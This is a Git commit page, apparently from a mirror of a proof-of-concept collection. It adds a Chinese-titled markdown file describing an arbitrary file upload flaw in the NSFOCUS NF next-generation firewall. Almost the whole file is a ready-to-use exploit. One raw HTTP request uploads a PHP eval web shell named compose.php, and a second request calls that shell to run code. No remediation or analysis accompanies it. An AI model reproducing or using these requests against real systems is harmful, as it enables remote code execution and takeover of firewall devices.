admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 绿盟 NF 下一代防火墙 任意文件上传漏洞.md

Browse Source
This commit is contained in:
wy876 2023-08-19 20:45:36 +08:00 committed by GitHub
parent 2dddfe9de8
commit 23881f0fcb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 15 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
绿盟 NF 下一代防火墙 任意文件上传漏洞.md Normal file
View File

@ -0,0 +1,15 @@
## 绿盟 NF 下一代防火墙 任意文件上传漏洞
```
POST /api/v1/device/bugsInfo HTTP/1.1
Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef
Host:
--4803b59d015026999b45993b1245f0ef
Content-Disposition: form-data; name="file"; filename="compose.php"
<?php eval($_POST['cmd']);?>
--4803b59d015026999b45993b1245f0ef--
POST /mail/include/header_main.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71
Host:
cmd=phpinfo();
```